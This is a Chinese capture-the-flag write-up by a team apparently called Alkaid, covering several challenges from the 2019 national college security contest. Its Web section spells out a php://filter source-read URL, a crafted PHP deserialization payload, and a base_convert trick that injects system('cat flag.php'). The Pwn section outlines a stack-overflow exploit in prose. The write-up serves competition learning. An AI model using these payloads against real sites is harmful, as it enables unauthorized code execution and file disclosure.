比赛两天,感谢队友们和我一起坚持到底

Misc

0x01 签到

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

一开始没搞懂,后来看到人脸上的圈感觉明白了,直接把队友叫来,三个人就出flag了

 

0x02 saleae

一看是logic,想起了当年做的SCTF的题,用逻辑分析仪seleae logic打开,四条信号,试了几次找到了正确的分析方式:

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

flag{12071397-19d1-48e6-be8c-784b89a95e07}

0x03 24c

参考了大佬的文章http://blog4jimmy.com/2018/01/389.html,学习了i2c总线协议的工作原理:

首先设置分析器如下所示:

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

按上图设置后,之后看右下角的数据:

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

之后整理下flag,发现flag{c46d9e10-e9b5-4d90-a883-41cf163bdf4e}还是错的,之后队友提醒后面有一个\t的输入,\t是0x09,八个制表位需要把ac和9e进行覆盖,最后结果为:

flag{c46dac10-e9b5-4d90-a883-41cf163bdf4e}

0x04 usbasp

和前面不同,需要把active设置为high才看到明文flag:

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

使用逻辑分析工具分析logic文件,将分析参数设置为如上时,可以看到右下方flag:

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

flag{85b084c6_42e6_87b4_46dfb1df58a0}

Web

0x01 JustSoso

http://234d6b6c2fc34553b85d0c7c0a5cf934ba1ddc5f0d214d8e.changame.ichunqiu.com/index.php?file=index.php

文件包含获得源码以及hints

 ?file=php://filter/read=convert.base64-encode/resource=index.php

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

index.php

 

hint.php

对源码进行分析可发现需要传入的payload需要进行序列化

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

同时查看hint.php发现,需要token和token_flag全等

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

同时发现魔法函数:

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

难点就是绕过,parse_url,和保护变量

可以通过修改序列化参数进行绕过,综合所有需要绕过信息:

最后的payload:

///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}}

参考题链接:

代码审计初步之php反序列化

https://www.smi1e.top/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%94%BB%E5%87%BB%E6%8B%93%E5%B1%95/

0x02 Love_math

http://65791564d2bd4aadbf42d061902e72c8c00c6a59bff94a55.changame.ichunqiu.com/calc.php?c=base_convert(55490343972,10,36)()

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

给出数学函数,发现能够通过进制转换得到想要的字母,于是构造payload ,发现能够得到phpinfo.

根据最多80个字母利用原来的定义变量PI()构造自己的payload正好78个

get,post同理。

payload= /calc.ph[?c=$cos=base_convert(37907361743,10,36)(dechex(1598506324));($$cos){22}(($$cos){33})&22=system&33=cat%20flag.php

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

Rerverse

0x01 easyGo

go语言的程序,没有字符串和函数符号表,也懒得去搜go逆向的做法,先gdb动态调试从头到尾,程序快结束时发现有flag,记住程序函数位置,第二遍直接下断点在 0x429b6c,随便输一个flag值,就可以看到寄存器里的flag,大概逻辑是用输入的flag和程序已生成的flag,进行比较

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

由于flag在内存已经生成,所以我们可以看到寄存器中的flag,测试一下正确无误

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

0x02 bbvvmm

用户名:经过国密4和修改过码表的base64双重加密得到串RVYtG85NQ9OPHU4uQ8AuFM+MHVVrFMJMR8FuF8WJQ8Y=

分析可知是换了密码表的base64算法,新表为IJLMNOPKABDEFGHCQRTUVWXSYZbcdefa45789+/6ghjklmnioprstuvqwxz0123y

base64解密,脚本如下:

解出:EF468DBAF985B2509C9E200CF3525AB6

分析程序算法,根据主办方提示是国密算法,在动态调试中发现加密算法是SM4

在网上找到SM4解密的文章:http://www.sitcoder.com/?post=60

脚本如下:

解出:

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

然后转为字符得到用户名 badrer12

密码: 经过动态调试最终可以查看内存得到密码:xyz{|}

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

最后获取远端flag的脚本:

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

Pwn

0x01 your_pwn

一道简单的pwn,栈溢出后泄露libc地址,之后直接onegadget就可以拿到shell,脚本如下所示:

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

0x02 baby_pwn

打开发现只有一个read函数,没法泄露,那就直接使用ret2_dl_runtime_resolve了

github链接: https://github.com/inaz2/roputils

利用工具可以直接构造ROP:

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

Crypto

0x01 puzzles

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

综合考验.....要四道题目的答案转接为十六进制字符串拼接成flag字符串

 part1 = 26365399

十六进制:0x1924dd7

 Part2 = (1+91+ 7 + 1  )x77=7700

十六进制:0x1e14

 part3 = 233×80 = 18640

十六进制:0x48d0

 part4=120*336=40320

十六进制:9d80

 a1 = 4006 a2 = 3053 a3 = 2503 a4 = 2560

十六进制:a1 = 0xfa6 a2 = 0xbed a3 = 9c7 a4 = 0xa00

拼接字符串得到:

1924dd7-1e14-48d0-9d80-fa6bed9c7a00

0x02 part_des

github脚本地址:

https://github.com/RobinDavid/pydes/blob/master/pydes.py

题目给了部分密文,和密码表,但是不知道是第几轮加密,试一下就可以,使用了现成的DES,稍微修改下:

flag{y0ur9Ood}

0x03 warmup

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

从server.py 发现每次加密都会把flag拼接到我们输入的明文后面,每次加密flag的值不会变化,所以可以用部分明文攻击的方式去解决这道题:

github脚本链接:

https://gist.github.com/craSH/2969666

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid

第十二届 2019年全国大学生信息安全竞赛创新实践赛 部分Writeup-Alkaid